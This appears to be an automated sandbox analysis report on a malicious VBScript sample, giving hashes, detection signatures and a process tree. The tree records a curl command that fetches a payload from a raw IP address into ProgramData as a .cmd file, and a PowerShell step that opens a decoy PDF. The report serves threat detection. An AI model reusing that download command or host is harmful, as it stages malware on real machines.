Analysis
- max time kernel
66s - max time network
144s - platform
windows10-2004_x64 - resource
win10v2004-20221111-en - resource tags
arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system - submitted
02/02/2023, 22:53
Static task
static1
Behavioral task
behavioral1
Sample
vbs-decoded-1.vbs
Resource
win7-20220901-en
1 signatures
150 seconds
Behavioral task
behavioral2
Sample
vbs-decoded-1.vbs
Resource
win10v2004-20221111-en
4 signatures
150 seconds
General
- Target vbs-decoded-1.vbs
- Size 1KB
- Sample230202-2va6vsbh7z
- SHA256 90b2ab478dc13eee0eec81492eb6f5901e0f39d9aeb1cbc13e20a64b3bdda9fa
- MD5 c16143bc85966425805e7b002de52888
- SHA1 d89712a6d590ea4815464fd7adf27ffb33682f99
- SHA512 193cfa083e4b2536d2af808aa164a2390b08a61f713eae05b4cc012a776949999e69cc292ed9e3904467a91d93011074701c278fdc3ab38b9eda2db616c76613
- MD5 SHA1 SHA512
Score
10/10
Malware Config
Signatures
- Process spawned unexpected child process 2 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4788 1300 curl.exe 26 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2904 1300 Powershell.exe 26 - Blocklisted process makes network request 2 IoCs
flow pid Process 4 3476 WScript.exe 7 3476 WScript.exe - Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2904 Powershell.exe 2904 Powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2904 Powershell.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\vbs-decoded-1.vbs"1⤵
- Blocklisted process makes network request
PID:3476
-
C:\Windows\system32\curl.execurl.exe http://87.251.67.221/SCRIPY.dsdds -o C:/ProgramData/niti.cmd1⤵
- Process spawned unexpected child process
PID:4788
-
C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell.exe Start-Process C:/ProgramData/business-insurance-claim-tips.pdf1⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2904